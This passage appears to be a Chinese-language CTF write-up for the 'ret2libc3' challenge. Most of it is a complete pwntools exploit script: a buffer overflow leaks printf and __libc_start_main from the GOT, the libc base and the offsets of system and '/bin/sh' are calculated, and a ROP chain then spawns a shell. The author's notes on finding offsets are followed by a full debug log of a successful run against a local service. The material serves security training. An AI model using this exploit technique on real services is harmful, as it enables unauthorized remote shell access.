context.arch = 'i386'
context.terminal = ['konsole','-e','sh','-c']  # Arch Linux

file = ELF('./ret2libc3')
padding = (0x6c+4) * 'a'
__libc_start_main_got = file.got['__libc_start_main']
printf_got = file.got['printf']
printf_plt = file.plt['printf']
a_main = file.sym['main']
payload = flat([padding,printf_plt,a_main,printf_got])

connect = remote('127.0.0.1','3923')
#connect = process('./ret2libc3')

"""
gdb.attach(connect,'''
set follow-fork-mode child
b *0x0804868A
continue
''')
"""

connect.sendlineafter('?',payload)
a_printf = u32(connect.recv()[0:4])
print("printf: " + hex(a_printf))

libc = LibcSearcher("printf", a_printf)
padding = (0x6c-4) * 'a'
payload = flat([padding,printf_plt,a_main,__libc_start_main_got])

#connect.interactive()
connect.sendline(payload)

a___libc_start_main = u32(connect.recv()[0:4])
print("__libc_start_main: " + hex(a___libc_start_main))

libc.add_condition('__libc_start_main',a___libc_start_main)

libcBase = a_printf - 0x00053d80
a_system = libcBase + 0x00044a00
a_str_bin_sh = libcBase + 0x0018e32b
print("libcBase: " + hex(libcBase))
print("system: " + hex(a_system))
print("/bin/sh: " + hex(a_str_bin_sh))

#a_system = libc.dump("system")
#a_str_bin_sh = libc.dump("str_bin_sh")
padding = (0x6c+4) * 'a'
payload = flat([padding,a_system,0xdeadbeef,a_str_bin_sh])
connect.sendline(payload)

connect.interactive()

这里我原本考虑使用 LibcSearcher 来泄露 libc ,但是由于我使用的环境是 Manjaro LibcSearcher 搜不到这个 libc 于是我直接本地

[puret@PureT-Manjaro pwnEnvironment]$ ldd ret2libc3
        linux-gate.so.1 (0xf7eef000)
        libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc8000)
        /lib/ld-linux.so.2 => /usr/lib/ld-linux.so.2 (0xf7ef0000)

得到 libc 的位置在 /usr/lib32/libc.so.6

接下来找 offset

[puret@PureT-Manjaro pwnEnvironment]$ readelf -s /usr/lib32/libc.so.6 | grep "system@"
   662: 00044a00    63 FUNC    GLOBAL DEFAULT   16 __libc_system@@GLIBC_PRIVATE
  1534: 00044a00    63 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.0
[puret@PureT-Manjaro pwnEnvironment]$ 

像这个 system 的 offset 就是 0x00044a00

调试 exp 过程中还遇到一个诡异的 bug 考虑到可能是由于输入输出缓存引起的,在第二次 sendlineafter(“?”,payload) 的时候卡住了,原因是程序那边没有输出原本该输出的字符串,于是我直接改成 sendline 不等待直接发送 payload 过去程序就能跑起来。但是直接用 gdb 单步调试是可以看到接收到字符串的,很迷- –

这里我泄露了两个函数的地址来确定 libc ,要注意的是每次回到 main 开始的时候会执行 push ebp,会改变 padding 的大小,建议 gdb.attach 计算好每次回来的 padding 也可以考虑返回 main 的时候跳过 push ebp(可能会引发未知问题),具体视情况而定

找 /bin/sh 的偏移的时候可以用 ROPgadget

[puret@PureT-Manjaro pwnEnvironment]$ ROPgadget --binary "/usr/lib32/libc.so.6" --string "/bin/sh"
Strings information
============================================================
0x0018e32b : /bin/sh
[puret@PureT-Manjaro pwnEnvironment]$ 

exploit

[puret@PureT-Manjaro pwnEnvironment]$ python exp.py 
[DEBUG] PLT 0x8048430 printf
[DEBUG] PLT 0x8048440 gets
[DEBUG] PLT 0x8048450 time
[DEBUG] PLT 0x8048460 puts
[DEBUG] PLT 0x8048470 __gmon_start__
[DEBUG] PLT 0x8048480 srand
[DEBUG] PLT 0x8048490 __libc_start_main
[DEBUG] PLT 0x80484a0 setvbuf
[DEBUG] PLT 0x80484b0 rand
[DEBUG] PLT 0x80484c0 __isoc99_scanf
[*] '/home/puret/Tools/build/pwnEnvironment/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 127.0.0.1 on port 3923: Done
[DEBUG] Received 0x2a bytes:
    b'No surprise anymore, system disappeard QQ.'
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Received 0x12 bytes:
    b'Can you find it !?'
[DEBUG] Sent 0x7d bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000070  30 84 04 08  18 86 04 08  0c a0 04 08  0a           │0···│····│····│·│
    0000007d
[DEBUG] Received 0x65 bytes:
    00000000  80 9d d6 f7  60 62 d8 f7  56 84 04 08  50 6d d8 f7  │····│`b··│V···│Pm··│
    00000010  76 84 04 08  86 84 04 08  f0 4d d3 f7  30 75 d8 f7  │v···│····│·M··│0u··│
    00000020  b6 84 04 08  c6 84 04 08  4e 6f 20 73  75 72 70 72  │····│····│No s│urpr│
    00000030  69 73 65 20  61 6e 79 6d  6f 72 65 2c  20 73 79 73  │ise │anym│ore,│ sys│
    00000040  74 65 6d 20  64 69 73 61  70 70 65 61  72 64 20 51  │tem │disa│ppea│rd Q│
    00000050  51 2e 0a 43  61 6e 20 79  6f 75 20 66  69 6e 64 20  │Q.·C│an y│ou f│ind │
    00000060  69 74 20 21  3f                                     │it !│?│
    00000065
a_printf: 0xf7d69d80
[DEBUG] Sent 0x75 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000060  61 61 61 61  61 61 61 61  30 84 04 08  18 86 04 08  │aaaa│aaaa│0···│····│
    00000070  24 a0 04 08  0a                                     │$···│·│
    00000075
[DEBUG] Received 0x4d bytes:
    00000000  f0 4d d3 f7  30 75 d8 f7  b6 84 04 08  c6 84 04 08  │·M··│0u··│····│····│
    00000010  4e 6f 20 73  75 72 70 72  69 73 65 20  61 6e 79 6d  │No s│urpr│ise │anym│
    00000020  6f 72 65 2c  20 73 79 73  74 65 6d 20  64 69 73 61  │ore,│ sys│tem │disa│
    00000030  70 70 65 61  72 64 20 51  51 2e 0a 43  61 6e 20 79  │ppea│rd Q│Q.·C│an y│
    00000040  6f 75 20 66  69 6e 64 20  69 74 20 21  3f           │ou f│ind │it !│?│
    0000004d
__libc_start_main: 0xf7d34df0
libcBase: 0xf7d16000
system: 0xf7d5aa00
/bin/sh: 0xf7ea432b
[DEBUG] Sent 0x7d bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000070  00 aa d5 f7  ef be ad de  2b 43 ea f7  0a           │····│····│+C··│·│
    0000007d
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'puret\n'
puret
$